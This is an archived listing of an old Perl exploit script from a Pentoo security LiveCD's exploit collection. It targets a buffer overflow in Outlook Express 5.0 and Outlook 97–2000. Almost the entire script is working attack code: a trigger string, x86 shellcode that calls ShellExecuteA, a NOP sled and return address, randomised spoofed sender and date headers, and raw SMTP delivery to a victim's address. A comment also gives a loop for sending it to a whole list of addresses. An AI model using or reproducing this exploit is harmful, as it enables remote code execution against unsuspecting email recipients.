home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / outlook / outoutlook.pl < prev    next >
Perl Script  |  2005-02-12  |  6KB  |  146 lines

  1. #!/usr/bin/perl
  2. #******************************************************************************
  3. #http://www.ussrback.com Ussr Labs (Exploiteable Buffer Overflow)
  4. # Outlook Express 5.0 | Outlook 2000 | Outlook 97.0 | Outlook 98
  5. #******************************************************************************
  6. #
  7. # By: Ussr Labs
  8. #
  9. # Arbitary shellcode injector over SMTP
  10. # ./$0 -h <server hostname>  -m <mail>
  11. # ./dieoutlook.pl -h <smtp server> -m victim@address.com
  12. #
  13. #
  14. #For Multiple email's Spanwn do something like this:
  15. #
  16. # for i in `cat emailshere.txt`; do perl ./outoutlook.pl -h smtpserverip -m $i; done
  17. #
  18. #
  19. #
  20. #
  21.  
  22.  
  23. use Getopt::Std;
  24. use Socket;
  25. getopt('h:m', \%args);
  26.  
  27. # user defined variables
  28. if(defined($args{h})){$serv=$args{h}}else{&usage;}
  29. if(defined($args{m})){$rcpt=$args{m}}else{&usage;}
  30.  
  31. # These are the escape characters which will cause the seg violation.
  32. # *nix didn't like the ascii interpretation, so we send the
  33. # characters in hex.
  34. # +,1 ,╠ ,^ ,╨ ,z ,¡ ,x 
  35.  
  36. $spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  37.     "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  38.     "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  39.     "\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";
  40.  
  41. $shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
  42.     "\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
  43.     "\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
  44.     "\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
  45.     "\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
  46.     "\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
  47.     "\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
  48.     "\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
  49.     "\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
  50.     "\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
  51.     "\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
  52.     "\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
  53.     "\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
  54.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
  55.     "\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
  56.     "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
  57.     "\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
  58.     "\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
  59.     "\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .
  60.     "\x6B\x2E\x63\x6F\x6D\x00";
  61.  
  62. $ret = "00aedc5a";                        # return address
  63. $nop = "\x90";                            # x86 NOP
  64. $port = 25;                            # default 25 SMTP port
  65. $buffsize = "1348";                        # buffer size
  66. $buffer .= $nop x 945;                        # load $buffer with 945 NOP then $shellcode
  67. $buffer .= $shellcode;                        # append shellcode to buffer
  68. $offset = (hex $ret);                        # return hex string to corresponding value
  69. $code = pack("N", $offset);                    # big-endian (long) network order
  70. while (length $buffer < $buffsize) { $buffer .= $code; }
  71. $buffer .= "\n\n";
  72. print "$code\n";
  73.  
  74. # create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]
  75.  
  76. $max=(int rand 15);
  77. @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
  78. @a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
  79. @dom = ('.com', '.net', '.org');
  80. $rdom = $dom[ rand @dom ];
  81. $rmail = $str . "@" . $host . $dom;
  82. print "random address set to: $rmail\n";
  83.  
  84. # random date method, format: Date: <day>, <int-day> <month> 2000 <time>
  85.  
  86. @days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
  87. $rday = $days[ rand @days ];
  88. $rcal=(int rand(31));
  89. $rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
  90. $rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
  91. $rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
  92. @months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
  93. $rmonth = $months[ rand @months ];
  94. $date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
  95. else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
  96. print "date set to: $date\n";
  97.  
  98. $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
  99. $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
  100. $proto = getprotobyname('tcp') || die("Error: $!\n");
  101.  
  102. socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  103. connect(S, $paddr) || die("Error: $!\n");
  104. select(S); $| = 1; select(STDOUT);
  105.  
  106. # begin our SMTP transaction
  107.  
  108. print "now starting SMTP transaction\n";
  109. $res=<S>; print "$res\n";
  110. print "sending HELO\n";
  111. system("sleep 2s");
  112. print S "HELO\r\n";
  113. $res=<S>; print "$res\n";
  114.  
  115. print "sending MAIL FROM\n";
  116. system("sleep 2s");
  117. print S "MAIL FROM:$rmail\r\n";
  118. $res=<S>; print "$res\n";
  119.  
  120. print "sending RCPT\n";
  121. system("sleep 2s");
  122. print S "RCPT TO:$rcpt\r\n";
  123. $res=<S>; print "$res\n";
  124.  
  125. print "sending DATA\n";
  126. system("sleep 2s");
  127. print S "DATA\r\n";
  128. $res=<S>; print "$res\n";
  129.  
  130. print "sending escape characters\n";
  131. print S "$date";
  132. print S " $spawn";
  133.  
  134. print "sending shellcode\n";
  135. print S "$shellcode\r\n\r\n\r\n";
  136. #$res=<S>; print "$res\n";
  137. print S ".\r\n";
  138. print S "QUIT\r\n";
  139.  
  140. print "shellcode spawn was successful\n";
  141. close(S);
  142.  
  143.  
  144. sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}
  145.